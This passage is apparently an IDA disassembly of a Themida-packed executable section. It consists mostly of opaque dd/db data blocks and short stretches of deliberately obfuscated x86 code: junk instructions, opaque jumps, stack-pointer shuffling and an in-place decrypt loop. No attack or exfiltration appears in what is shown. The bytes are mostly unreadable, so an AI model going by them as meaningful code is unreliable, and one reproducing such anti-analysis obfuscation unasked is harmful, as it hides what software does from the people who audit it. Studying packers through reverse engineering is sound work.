0C4832434h, 2C8B5404h, 4C48324h, 18B85051h dd 0B91C025Ch, 1C025C20h, 158C129h, 593189E9h, 57242C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 348B5C24h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 0FA94CFE9h, 0D28B65FFh dd 0EB21B89Ah, 0C5030615h, 123AE0FFh, 0E84F6948h, 18DE7F48h dd 72612C14h, 0F945450Dh, 9B736512h, 57E52EA7h, 0F33B0A20h dd 3A306567h, 50997DF1h, 0F99D6524h, 8D7D5CEFh, 0FD6D7B49h dd 6707423Bh, 29C713B8h, 0FAD4461Eh, 0C8FD254Eh, 1051EFh dd 167F6FA6h, 95C35D97h, 84265F82h, 0DE3510F3h, 44FC1BD3h dd 0A50822A1h, 72235E4Ah, 0FD3F6156h, 51C72546h, 725C6957h dd 71BC1E99h, 739E6557h, 0A5908E0h, 4EEA5C3Bh, 0C08B41D2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E0C35646h dd 0F1E8A44Fh, 0B830F97h, 0F000000h, 588h, 0E2816600h dd 0BD83EE72h, 610158Dh, 83097500h, 100095BDh, 19740006h dd 0C08B5350h, 3FCB8h, 65858900h, 8D06100Eh, 12B8159Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 3FCB8h, 65858900h dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 23B06384h dd 0EE927h, 0E8BE0000h, 54348E9Bh, 356584FEh, 0AC5E479h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 638954E5h, 60566FA7h, 14E8h, 0C96D7700h dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 13E988h dd 0EA3A0000h, 6063B42Ah, 0F0DF04A2h, 0C21EB576h, 34EA8415h dd 52B75A90h, 8B74B661h, 6AC08BD3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E0E1C356h dd 27530B03h, 12E9h, 61E59100h, 83008782h, 0D8EA00D8h dd 0A96C6C81h, 838773FFh, 102209BDh, 840F0106h, 43h, 0BD831EB7h dd 6102D11h, 34850F00h, 0F000000h, 389h, 42EE8000h, 5840Fh dd 0C1BB0000h, 834A76C1h, 103105BDh, 840F0006h, 68h, 0EE9h dd 7967B500h, 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 382h dd 0A4B6h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 363072C3h, 1D3064Dh, 6A5E8Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 34406AC3h, 0BB791936h, 468EAE68h, 0D0851D6Eh, 0B32FAEE4h dd 2D824E7Dh, 0EE29547Ah, 9A3FF26Fh, 54D6A81Bh, 3D3EFA8Fh dd 1ED6A8C7h, 0B78C6BB9h, 0BFD28CA5h, 28D28CBCh, 7CD6A87Ch dd 0F50A6B6Ch, 0E169A78Fh dd 0D6835D05h, 3ED6A8C7h, 673B29BEh, 31D0BD1Fh, 3EBC7047h dd 3ED5402Ah, 60F6A83Eh, 4A5FF6DCh, 7A57ACABh, 3EC1ACE3h dd 6890A8E3h, 0A1838C32h, 3EDE415Ah, 79BEA87Ch, 0FD0EE45Fh dd 0FE5D0E16h, 0D687A8E5h, 3ED6A8C4h, 6715F1C3h, 3AF2E478h dd 3AF2EC79h, 3ED6A861h, 215F97Fh, 0E7279AC5h, 0D40C2C0Ah dd 0D786388Dh, 3ED6A8E4h, 3AEBC5F2h, 0AE3E8C58h, 0D685A816h dd 3ED6A83Dh, 6515F33Fh, 3AF2F406h, 3AF2EC46h, 3ED6A8FEh dd 1A15FBB2h, 1C640703h, 0C7B91823h, 72D7A711h, 2C3E563Bh dd 0CED6A88Fh, 0B670D603h, 151C19AFh, 5C8E7665h, 0DF9FB55Ch dd 3EC640F4h, 6A58A83Eh, 0E8882047h, 0A99C5B11h, 9D21275h dd 6480C300h, 548EF3ABh, 3D3EFDF8h, 1ED6A87Ch, 0B78B6B63h dd 0BFD28C73h, 25D28CCBh, 7BD6A8C7h, 0FF406BB6h, 9248F1DBh dd 0EF5DF032h, 3ED4A479h, 0BDD9FE3Eh, 3ED6A819h, 0FD22420Eh dd 588DF7C8h, 0B5D4A059h, 6FD6C2F9h, 3ED6AB10h, 0FD8F887Ch dd 1A9A2167h, 1A92291Bh, 3ED6B28Bh, 0FD87E9C7h, 3769CFA8h dd 0C2CB66ABh, 0C29E239Eh, 3ED6AE95h, 0AABF523Eh, 86E3C22Bh dd 3ED6A88Eh, 0D684A8ADh, 3ED6A8E0h, 6415F2D1h, 3AF2FC71h dd 3AF2ECFDh, 3ED6A827h, 4815FA5Dh, 7F86E6EBh, 333F39D4h dd 92D6A8E3h, 0AD3CF52Dh, 2927C0F5h, 7289A6AEh, 0B5B0C86Eh dd 3EDB41E8h, 0EE69A88Fh, 99BC161Ch, 0E4FDD82Fh, 5FD7E686h dd 0FA6CCE69h, 0E75ACED2h, 0D684A854h, 3ED6A81Ch, 6415F2AFh dd 3AF2FC4Eh, 3AF2EC62h, 3ED6A8ECh, 0BF15FABAh, 32C48B11h dd 77BB5F86h, 3A175E0Eh, 3E3F2D80h, 3EBCA8C7h, 3ED540B0h dd 65F6A8F1h, 625FF33Bh, 7A57AC58h, 3EC3AC1Ah, 6D95A81Fh dd 3183334Ch, 548F7E78h, 3D3EF8E3h, 1ED6A8F1h, 0B78E6BA0h dd 0BFD28C38h, 2BD28C7Ah, 7ED6A81Fh, 0B5716BDFh, 0EE2F037Dh dd 7D1028F6h, 31BE9171h, 3ED6767Dh, 0B5691A7Ch, 3EBCA947h dd 3ED5404Fh, 66F6A88Fh, 7A5FF004h, 7A57ACC7h, 3ECBACD5h dd 6E96A8F8h, 0F4D539BFh, 0CE3B4D6Bh, 58090CCBh, 77226A0Eh dd 3ED6B82Eh, 8C084E3h, 1E810FAAh, 626E957h, 0A60BFBD5h dd 3E29290Ch, 3156A81Fh, 3ED6260Dh, 3B59A7C7h, 58D6A8E3h dd 49F67B70h, 0D31D2D3Fh, 3ED7AE69h, 89D9A83Eh, 3EAE41C8h dd 81D9A88Fh, 3EBF4118h, 3EBCA8E3h, 3ED540A2h, 65F6A8F8h dd 625FF3BFh, 7A57AC1Ah, 3ECBAC3Bh, 6D95A88Fh, 0BB008F04h dd 771045E8h, 67A4DA55h, 0D686A892h, 3ED6A87Fh, 6615F01Eh dd 3AF2EC96h, 3AF2EC0Eh, 3ED6A8DCh, 0A15F8A3h, 1DE977E8h dd 0C735A5DCh, 35AF2B1Ah, 2A52A7C1h, 88D6A81Fh, 0F5536F1Fh dd 3FD0BD2Ah, 58D6A8E3h, 0D6D7F7Ah, 769188FDh, 3DD763FDh dd 896FF863h, 0B3ADF41Fh, 2B258B0Ah, 596B25C1h, 5D0BD12h dd 0ED1DC09h, 791F79F7h, 3EBC5D97h, 3ED5406Ch, 64F6A81Fh dd 6A5FF24Ch, 7A57ACE3h, 3ECBACC7h, 6C94A8F1h, 0AFA9C63Bh dd 0FED666BBh, 5810FB02h, 5D17629Eh, 3ED6AF67h, 82687DC7h dd 0B01AED83h, 3E5DA7A0h, 64D6A8F8h, 3E252927h, 0BDC7A0B4h dd 2EF4A1A2h, 0BAD9A989h, 3ED6A8AEh, 0D684A889h, 3ED6A8F2h dd 6415F2D8h, 3AF2FCF5h, 3AF2ECBFh, 3ED6A80Bh, 0EF15FACDh dd 0BD0823A1h, 2EFBB95Eh, 0BBD9A8F7h, 3ED6A8C5h, 0D686A816h dd 3ED6A83Dh, 6615F03Fh, 3AF2EC06h, 3AF2EC46h, 3ED6A8F9h dd 8C15F8B1h, 41DFE2DDh, 0CBB644BEh, 5F212358h, 7B3D2979h dd 3B6B2B14h, 3ED0B8F6h, 3EDD2CECh, 89D9A8F1h, 3E7B4129h dd 0CD56A87Ch, 376B2B2Ch, 3FD0B83Dh, 3EB72D80h, 3EBCA8C7h dd 3ED540B4h, 61F6A8F1h, 425FF73Bh, 7A57AC58h, 3ECBAC1Ah dd 6991A81Fh, 0E13EBA4Ch, 0A1F5FF3h, 0BE5A99EAh, 6D8B2D23h dd 0E735299Eh, 0D715F337h, 3ED6A830h, 0AB1B54F7h, 84AB70B9h dd 5AC97682h, 6A3FFB82h, 0D6D6A8F1h, 3ED6A8FDh, 4AB22C33h dd 3EDE41E3h, 73CA81Fh, 6E10B45h, 638DAE41h, 0D684A889h dd 3ED6A8F2h, 6415F2D8h, 3AF2FCF5h, 3AF2ECBFh, 3ED6A80Bh dd 6A15FACDh, 3ED6AD2Eh, 76D384E3h, 0D719F0BCh, 3ED6A8F7h dd 976F00B8h, 6EC457BCh, 0EC2352FAh, 0B31CF65Bh, 2B38B17Ah dd 0CE5B25E5h, 86D0BD03h, 45ECF4E5h, 1FEB2D4Fh, 0F1FDAE2Eh dd 0F41F896Fh, 8B0AB3ADh, 25C12B25h, 0BD12596Bh, 0DC0905D0h dd 79F70ED1h, 8397791Fh, 0A4F305E9h, 0EDCBBD83h, 74000615h dd 858D8D0Dh, 0B806104Eh, 1, 6A40E1FFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B74EC355h dd 639771CAh, 7E9D68Bh, 9D000000h, 0D6715B58h, 0E88312DFh dd 5DB812Dh, 664D1AC7h, 8B383EBAh, 837AB2C0h, 10158DBDh dd 9750006h, 95BD83h, 74000610h, 8B535019h, 3FCB8C0h, 85890000h dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h dd 50177400h, 3FCB853h, 85890000h, 610132Dh, 0B51D9D8Dh dd 0D3FF0612h, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0A6C04AC3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 12C35646h, 54FB5BAAh, 0DB816637h dd 7E965CCh, 0B2000000h, 62D159C7h, 0C08B8FA3h, 31E9h dd 0ADF0D000h, 74h, 0Ah dup(0) dd 0EDE90000h, 6800000Bh, 615F5EAh, 0FB56A7E9h, 0F6C568FFh dd 9DE90615h, 68FFFB56h, 615F8BBh, 0FB5693E9h, 0F9A468FFh dd 89E90615h, 68FFFB56h, 615FC51h, 0FB567FE9h, 0FDCB68FFh dd 75E90615h, 68FFFB56h, 615FEC1h, 0FB566BE9h, 0D385DAFFh dd 5F192F7Eh, 0D88AC332h, 70223A8Bh, 0C680D223h, 58DBAB99h dd 0AA1B4802h, 55A8FDB7h, 0B3024F01h, 3BB9E6A0h, 393C5BA8h dd 0BF191DDEh, 0B3AB5ACBh, 8BD48201h, 506F293Ah, 6377D201h dd 53A8FDA9h, 453857A4h, 711D17C8h, 0E99DC130h, 5A536D1Ah dd 68141DD8h, 786B1A69h, 2EC1D01Bh, 0E89411B8h, 486915BCh dd 0B82EACBFh, 0F1AC2311h, 3346B142h, 2211B82Fh, 97497D72h dd 0C946CCD6h, 4637BE93h, 8B000000h, 5BB6AB5Ah, 7A194D07h dd 200EA3CCh, 81A655Ch, 0FE1DD846h, 1BA25C6Fh, 56462E6Fh dd 0EC81A67h, 3880C36Fh, 6377DEDh, 8AD5FE9Fh, 11B905E3h dd 0E6BC75ECh, 0BE92F680h, 0E471h, 6E631200h, 40610DB4h dd 0AC075C6Ah, 99B300B2h, 0C514BBE7h, 65B4DB95h, 0C815BC76h dd 0C81D3893h, 0C8451C3Bh, 194D3917h, 8F29BD7Ah, 2C5AA76h dd 5E4D024Eh, 5C05B70Fh, 0C88AAD6Bh, 8DE8FB17h, 0AEFB823Ch dd 31DDE496h, 91643165h, 0CA398842h, 0C8811A3Dh, 0C43C3B17h dd 222021C5h, 0C4CF90C4h, 3A89FD61h, 0DE65CEC9h, 537E1E2h dd 3E2D6B5Ch, 0C791DD9h, 0C8761DD7h, 0B4E18DA7h, 867D012Dh dd 832CDEF7h, 0D975F380h, 120217CBh, 43FD4E9Bh, 65CA91Ah dd 0B4A6174Ch, 0FDDEFCFAh, 0A72AE211h, 99E11h, 0AB5D7200h dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 39E47300h dd 0D7711DDEh, 4C065C23h, 0FBB5A617h, 0B3A855A6h, 832CDAF9h dd 621A4827h, 45E2E08Bh, 0E9951DD8h, 44F69DEAh, 0EEE811B8h dd 0C48953Ch, 45B6335Ah, 0A7169AACh, 0B7AE340Eh, 0D09FBE93h dd 3C000000h, 0B74499ADh, 11B85098h, 0C285D1BDh, 0AF2EA3A9h dd 442647BBh, 464D075Ch, 0AA29E3F7h, 0C84A1B5Dh, 843E8D17h dd 33EDDECFh, 8105298Ch, 4E13C532h, 77041DD8h, 0BCEEA963h dd 0CC2C96Ah, 5051FE52h, 0D8239AE2h, 17CAC9B9h, 7201F09Ch dd 0A5607205h, 0E390E30Bh, 0BA56054h, 20411501h, 4A0456A3h dd 0F8B2A815h, 13070A02h, 9D3336E2h, 8C3h, 0C18E4097h dd 6D22DCF4h, 0BE934580h, 6E23D5EFh, 0C4914B7Fh, 0CDFD8070h dd 5A6F3E13h, 0CC02F3A0h, 6378451Ah, 69F8FCA9h, 0DE3B7B1Eh dd 8C7CDA1Dh, 0EEB7AB5Ah, 5A0CA9F3h, 5F5E3250h, 0C71BEAB3h dd 7665580Dh, 0C8CB6E19h, 9A8A17C8h, 0F31CF7C6h, 0E7698C9Fh dd 0F8F59FB6h, 0D88C9E28h, 5C84CE97h, 0F7464D07h, 0B8D32AE4h dd 268B5F3Ah, 1B839F46h, 3D576023h, 1C480256h, 54A11253h dd 9B4746F8h, 0B73DFD2h, 476147B4h, 0B6661DD9h, 0DF99CA17h dd 2EFCF310h, 15E9E159h, 373E519Eh, 671711B9h, 3D8E5F46h dd 9938EAE2h, 0CD1AB9EDh, 0A53D59D0h, 6D28C132h, 9E4DA45Eh dd 35133E51h, 0FCAEA87Eh, 5B4B29D5h, 0F7B87266h, 96B03DAEh dd 12A3B641h, 0C2B27E35h, 0ABA2EF8Eh, 104ADF9h, 2E7918D2h dd 7E351308h, 0C5CC7ED8h, 27A66078h, 99AD4897h, 0B43B211h dd 9EE93A59h, 7E3512FBh, 0B5F6AA5Ah, 91C2732Eh, 0CC398AD7h dd 24DFDE90h, 73967709h, 7A471B11h, 6412B163h, 0DF99CA3Bh dd 11FB93E0h, 6C737E35h, 15CF04B1h, 0A45E6D40h, 0EE96BC1Dh dd 2F1674FFh, 53308445h, 0F7C6C0B9h, 260E4F52h, 9AC82976h dd 0D6600BE2h, 897E353Ch, 7ED7269Dh, 0DD0AC5CCh, 2D43A2BFh dd 0B340AFE3h, 72146EA4h, 0F79CC5B1h, 146E8AACh, 0DD984772h dd 37899F05h, 4588E5Eh, 47D20000h, 9AE2508Bh, 689AD823h dd 917D1DD8h, 152DEAB9h, 0EC800AAh, 869B1E33h, 65E4E2E5h dd 2A18EE87h, 0F6105B52h, 493AF7D2h, 0C117665Dh, 0ECB87266h dd 8C3E98E5h, 99FC97D8h, 93E2D1B5h, 0E8DB843Eh, 0E7EE2A9Bh dd 5C888734h, 8E3C2199h, 0BE2D84D0h, 56AFC22Dh, 0F6A628C7h dd 41FB50B5h, 0A3509F14h, 28C75694h, 0B2C532C1h, 0A328C756h dd 7FE9FF3h, 0DA9C1AD4h, 1EC4F110h, 6CD059Bh, 0AEA10000h dd 256A7FCh, 0B3AA1B48h, 6B615401h, 0C919ECB9h, 2F2420Fh dd 0C4914B7Fh, 7926E0F1h, 0F3A0528Ch, 4A17D102h, 0CD6C176Ah dd 881DDE3Ch, 75C3AEEh, 453A5DAAh, 6B1B17C8h, 14499837h dd 0D4772D62h, 0B000000h, 80631948h, 2B9A40DCh, 0B43AA072h dd 792BB883h, 7F000000h, 91C21948h, 0A4FBB8D7h, 50E01CEh dd 0FDEB2DEh, 0C8C5D264h, 0D5F07D17h, 93EE9C23h, 39C11F34h dd 0BAD98D9Bh, 0EFBE786Bh, 13A58A14h, 0B30B5172h, 0DD390C9Eh dd 0C5A0C195h, 0AA29E3F8h, 33C01B47h, 17C87E24h, 0A2114531h dd 0D88DB755h, 796A171Dh, 0E6969EBFh, 19D48BE7h, 9383E349h dd 16D2BEh, 946F0000h, 1A2F4134h, 62B72560h, 0B771624Fh dd 0E013B4F6h, 97000000h, 8B621A48h, 0D879DEE0h, 7E5911Dh dd 0DC00561Bh, 0E4C45C5Fh, 0B8000005h, 45B8ED9Fh, 0B90C5913h dd 509DF2A4h, 0A00D42F4h, 0D1A3F0AAh, 722C1EE1h, 0BF79D01Dh dd 792B2392h, 0D08AD92Ch, 25D22183h, 1DDE3E12h, 48F5A543h dd 0DC806319h, 0AF617C11h, 0D690C110h, 0DA930CB7h, 0E895E4CCh dd 70733CEEh, 0B777DDB5h, 4C66B883h, 0BA000000h, 80631948h dd 0BC6B13DCh, 72017221h, 0C8457205h, 0C033E317h, 17C844B1h dd 2BB7F8A4h, 0B883B7A5h, 2694h, 1948EC00h, 452433C0h dd 453117C8h, 0E2A9611h, 0EB9C5504h, 17C84D4Fh, 0AAF6A89Dh dd 83BBAD32h, 0FEBE9EB8h, 48E2FFFFh, 0DC806319h, 8A239278h dd 0BADD2AD9h, 9B17C844h, 0BA20C2EBh, 0ABB883B7h, 232h dd 3D5CA758h, 1817C851h, 5C67436Ch, 3B5EA906h, 1A17C845h dd 3AC7366Ah, 0A62D6E28h, 444BFD57h db 0C5h byte_5AAEED db 56h, 9Bh, 0EAh ; DATA XREF: Themida_:0054D220o ; --------------------------------------------------------------------------- clc db 3Eh adc [esi+ebp*4+3E45FF53h], esp nop and esi, edx retn ; --------------------------------------------------------------------------- db 44h, 0C8h, 17h dd 0FAEE292h, 5FC80AEh, 45660976h, 0FFEF17C8h, 0BBE49EB2h dd 5565BB48h, 92821DD8h, 964F40EBh, 0C231EBDFh, 3B641E33h dd 8D479B6Ah, 0DA94C736h, 0BB7566B3h, 713A6614h, 357E1562h dd 0F64511B8h, 0F49B4D87h, 0B3657946h, 0A63D5E0Ch, 5CA7580Bh dd 11B8333Dh, 0C2436C18h, 2CE7D690h, 1EEA575Dh, 4BE0DB4h dd 65560F50h, 0A32C22AAh, 0B4FDAC51h, 48470151h, 0A2548AF7h dd 4146F1Bh, 88499105h, 113DB4FDh, 37E9966Dh, 17C7C9h dd 8F6C3F14h, 54BD3C58h, 129FC0BFh, 1E69582Ch, 11B806ACh dd 0AC667A0Bh, 0EB8ED9F8h, 0E00597CBh, 0AEBBA661h, 0C4946844h dd 0A46D089Bh, 8CF7C6BEh, 0BA7A21Eh, 0D2CD728h, 48FF8768h dd 7521135Ch, 0EF82ED7Eh, 66FF8767h, 3DB0F5B6h, 0E02D540Eh dd 7D6431EBh, 0A956ADD1h, 5977D0Fh, 0EB469AE7h, 49123EF8h dd 47943BEBh, 0F9775224h, 0BB3754ABh, 42F40CBEh, 0CBF2AC9Fh dd 0B92A731Fh, 14BC2200h, 33ADD6D4h, 0F5000000h, 8CC11A48h dd 5B07B3DAh, 46091764h, 0DD6E1DD8h, 0DE8C33EDh, 0ADC00BB2h dd 2211B844h, 0BA20F2ABh, 0D2BE93B7h, 191BBCB5h, 3F6031CCh dd 0B09Dh, 75CE500h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh dd 0CA347794h, 1A2CBA89h, 0C93488A7h, 4480CD17h, 133FEB92h dd 73A5123Fh, 3517C938h, 0C4376C26h, 2EA9C833h, 0C0AC17C9h dd 582C129Fh, 0FC11C69h, 0C5D41F70h, 9017C92Eh, 68D5B0E4h dd 414275F6h, 0F582812Ah, 1DDB7FE0h, 0BD2E8571h, 14AEC12Eh dd 0F7A711B6h, 41FB4FB6h, 0F7B1A114h, 2522B01h, 0BC5457DCh dd 337h, 6D22D40Bh, 0C18E4880h, 7A27D9F4h, 0F29F518Bh dd 4015CF03h, 518104ECh, 0E6FBCA97h, 5086772Ch, 0CF04F19Eh dd 0D5C4015h, 0DE40CF62h, 40E8861Dh, 174C065Ch, 0A6FBB5A6h dd 4D075CFCh, 2AE4F746h, 75C2D75h, 453A5DAAh, 0B2AC17C8h dd 4FD58100h, 44E06FFCh, 897517C8h, 0CB3A89DDh, 8B6DD97h dd 8CDB2C67h, 0C84550DFh, 58190517h, 0EFA45E6Dh, 714044EAh dd 0D85AFC06h, 69186B1Dh, 60EFC274h, 0F511B830h, 0E9365D09h dd 11B83042h, 0FA85F68Dh, 11B83057h, 564D0EFEh, 0C861C79Bh dd 5A50BE93h, 98000000h, 8B621A48h, 85378DDCh, 0B80F50FEh dd 1DD8452Ah, 87398DDCh, 23115A08h, 0DCED7C73h, 0AEEF9B22h dd 43B3DA25h, 352B11B8h, 0ABD284DAh, 0DD2C53FFh, 883A93EEh dd 8A095D09h, 1B2BC6DDh, 0B58D2897h, 0BE93B92Fh, 0E9A3B845h dd 3AC53CEAh, 11B83817h, 8F0D4E3Eh, 0C3h, 0B6AB5AD3h, 152B3FCh dd 0E9F94847h, 0C42FC02Fh, 17C844B5h, 28ABF4A0h, 172F8AD9h dd 43923165h, 1A675610h, 0C2700FC9h, 8526D8EDh, 49A1CF20h dd 780517C8h, 7723AA5Ch, 0C27CCF36h, 712B208Dh, 9843EF52h dd 0C8404CEBh, 491D0917h, 53930D7Ah, 68141DD8h, 0F488B63Bh dd 0E55772FDh, 0FEEE17CAh, 561042AFh, 0BE49BA09h, 0BA5739Bh dd 24A1CABAh, 0B676742Eh, 0E2E212F3h, 1BD49DFh, 3E910000h dd 0F2E6D78Ch, 439A6B38h, 0DBF1C491h, 59897C29h, 0B282F29Fh dd 7421DBEFh, 0C9965081h, 6330E2FCh, 0DA874192h, 5DFC87DAh dd 0F81DDE42h, 0AB5AAA5Eh, 50025BB6h, 0B2D18531h, 786A5B04h dd 2F2491BEh, 48722075h, 0DE8B621Ah, 864F32ECh, 96AD1710h dd 58A32041h, 1DD8B8CAh, 71C2C1ADh, 0B7E27502h, 837311B8h dd 0B846EDDAh, 0FA8911B8h, 9077371Dh, 0E586DCE6h, 0C94F23BEh dd 0B8BE937Fh, 0B7h, 4D075C10h, 29E3F746h, 4A1B5DAAh, 0DE8B17C8h dd 0E08E35E7h, 5B1546BFh, 0E48B506h, 0E889355Ch, 8D34EEDDh dd 0DD6F062Ch, 4B610E3h, 40848D41h, 5004500Ah, 0B0AC1661h dd 0BFB1DD7h, 0C0186556h, 263A8706h, 7A77386Ch, 0B641B0D4h dd 17CA3EBCh, 0D7143D5Ah, 0EB657B71h, 0EBC2B2C2h, 0BD924C7Eh dd 914B7FEEh, 2BE5F5D0h, 1370F3CDh, 9C3437E2h, 0C7h, 0BD92449Bh dd 711ED8F0h, 0CA974984h, 622FE1FBh, 0D0853F93h, 0C111945Ch dd 766B5A07h, 0C016E7BCh, 5F74410Eh, 5DECF0A5h, 0DE437F12h dd 9078D61Dh, 3B5EA95Ah, 1A17C845h, 8EC4416Ah, 1D2E7FD4h dd 5C642E63h, 0F7464D07h, 74752AE4h, 0B847B6CEh, 0F06297DBh dd 90DBCF2Eh, 17C85801h, 5FCA854h, 0C857D77Ah, 0CD8E7E17h dd 0DE4C59FAh, 6D14001Dh, 0B17ACF1Eh, 87BBD95Ah, 0FAA3EF86h dd 4E7DD80Bh, 2293C094h, 0F9887731h, 57A62DE7h, 97434A04h dd 0A6F1A2CBh, 846E4F29h, 0F6AF4AB9h, 87762BE5h, 0A6F39A54h dd 2AD5FCAEh, 164500B9h, 0A5B6075Ch, 3561134Ah, 0BE192FBEh dd 0AED587h, 0F0880B54h, 3, 5CBFEBB8h, 0E3325103h, 4A9736F0h dd 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh, 19686719h dd 1E6B12C4h, 9451702Ah, 2B3C68h, 241C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push ebp mov ebp, 3AB10C31h mov edx, 40C700B3h sub edx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 247Dh mov [esp], edx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_55FF58 ; --------------------------------------------------------------------------- mov bl, 0C0h test eax, 702AFCBh rcr dh, cl mov es, word ptr [ecx-5Fh] mov eax, 615FFADh add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov dl, ah pop ds pop edi jmp short loc_5AB4DD ; --------------------------------------------------------------------------- db 8Ah dd 2A93893Dh, 60FCC827h, 36E17003h, 897EF726h, 6E84Ch dd 0F5670000h, 0EDC9EEBDh, 800Fh, 8B580000h, 0DEC081F0h dd 0BB000067h, 6EA5FB7Bh, 0F02838BFh, 0EBF7815Bh db 31h ; --------------------------------------------------------------------------- loc_5AB4DD: ; CODE XREF: Themida_:005AB4A1j lock pop ebx loc_5AB4DF: ; CODE XREF: Themida_:loc_5AB539j mov edx, [eax] push esi movzx ecx, cx pop ecx add edx, 6F031A86h stc xor edx, 69EC464Dh mov ecx, 57CBD31Ch sub edx, 6058D6D6h jp loc_5AB509 xor bx, 0BE81h loc_5AB509: ; CODE XREF: Themida_:005AB4FEj push edx mov bl, 0B9h pop dword ptr [eax] movzx ebx, di sub eax, 4 mov bx, 1F8Fh dec edi jnz loc_5AB52C movsx esi, cx jmp loc_5AB550 ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- enter 0FFFF922Bh, 13h loc_5AB52C: ; CODE XREF: Themida_:005AB519j jmp loc_5AB539 ; --------------------------------------------------------------------------- db 0EDh, 9Eh, 18h dd 0F259960Bh db 44h ; --------------------------------------------------------------------------- loc_5AB539: ; CODE XREF: Themida_:loc_5AB52Cj jmp loc_5AB4DF ; --------------------------------------------------------------------------- dw 0EA32h dd 61003552h, 0AF766A57h, 94729E47h, 414AED47h ; --------------------------------------------------------------------------- loc_5AB550: ; CODE XREF: Themida_:005AB522j jmp loc_5AB5ED ; --------------------------------------------------------------------------- db 55h, 14h, 0F7h dd 9456h, 500h, 100h, 0A2800h, 200h, 20h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5AB5ED: ; CODE XREF: Themida_:loc_5AB550j jmp loc_5AC14E ; --------------------------------------------------------------------------- push 61602FEh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6160411h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61604DCh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6160569h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61606E4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6160764h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6160A43h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6160B74h jmp loc_5534D8 ; --------------------------------------------------------------------------- dw 0AB5Bh dd 0BF65F468h, 0A045D488h, 0BF64F367h, 9D4FC682h, 80FCEA5Eh dd 0EB5F9E52h, 0C478B96Ch, 0E2569135h, 0C377AC53h, 8D35F4C8h dd 696BDA7Dh, 7932C08Ch, 0DE5044h, 0CC7CB909h, 89C7286Dh dd 6A05F68Ch, 1AA1B6B2h, 23803C71h, 76354794h, 67FC8155h dd 6FC1B5B1h, 7289A91h, 50CC943Ch, 736907Bh, 9ED5943Ch dd 0AF0FE207h, 0BC7F397Ah, 57F9CE03h, 4Ah, 1EBD5CB5h, 7C745D4Ch dd 969267FCh, 27C990EAh, 0B35F984Dh, 0CDB693AFh, 943C7C71h dd 3CE81DC6h, 0F8ACEB9Dh, 0CC0BBD7Ch, 67FEA5D8h, 0AED0B059h dd 3C7C47FBh, 4C39F94h, 0F1752160h, 4DA847DCh, 397B3584h dd 0AA64h, 7932A600h, 97395044h, 7D2AC58h, 8B482566h, 0D4F39FD4h dd 8342F62Bh, 6DCC00B4h, 2FABE087h, 0D6CAFFA8h, 0D076CAE9h dd 371B52FAh, 0F10BE74Bh, 3F1293Ah, 0DD51CD98h, 906A7188h dd 0FEC23C9h, 599142E9h, 3759E15h, 1149BA08h, 0E2FE5A9Eh dd 609F5108h, 0E1BB6DECh, 2400F42Bh, 4D6A9B40h, 0FAAA4035h dd 95AE9h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h dd 0A7A2164Bh, 7E6CD6D5h, 2B886BDAh, 3F7E32A1h, 0B820402Dh dd 0D5C18F33h, 10B73EF8h, 5CC95FDBh, 5D4C1EBDh, 67FC7C74h dd 28168D92h, 13744941h, 0AA14432Fh, 49943C90h, 935E9B3Ah dd 73397A49h, 0F3h, 0DB1ACE8Dh, 826EA35Ch, 3203C99Eh, 0DE504479h dd 836FA45Bh, 5F11CA9Fh, 3FFA7420h, 917A4F8Ch, 6DCC00BAh dd 35A9DE85h, 5BBFFDA6h, 0D6A40073h, 0B79DA0B7h, 618500D7h dd 96956B85h, 9233372Ch, 8F8F6CC8h, 906A1E9Dh, 70F4A0D9h dd 0A7C4A054h, 0CF81BF56h, 9F8AE490h, 92333723h, 678B67C3h dd 0E71EC695h, 263BEE12h, 9E980341h, 0DA90681Bh, 536FF39Fh dd 0D6A88476h, 46236003h, 37A43390h, 8CDC6625h, 3C389E15h dd 0C0F59722h, 10F479C9h, 0A5C19D9Eh, 0C9FEB229h, 10F460E2h dd 0CCA8849Eh, 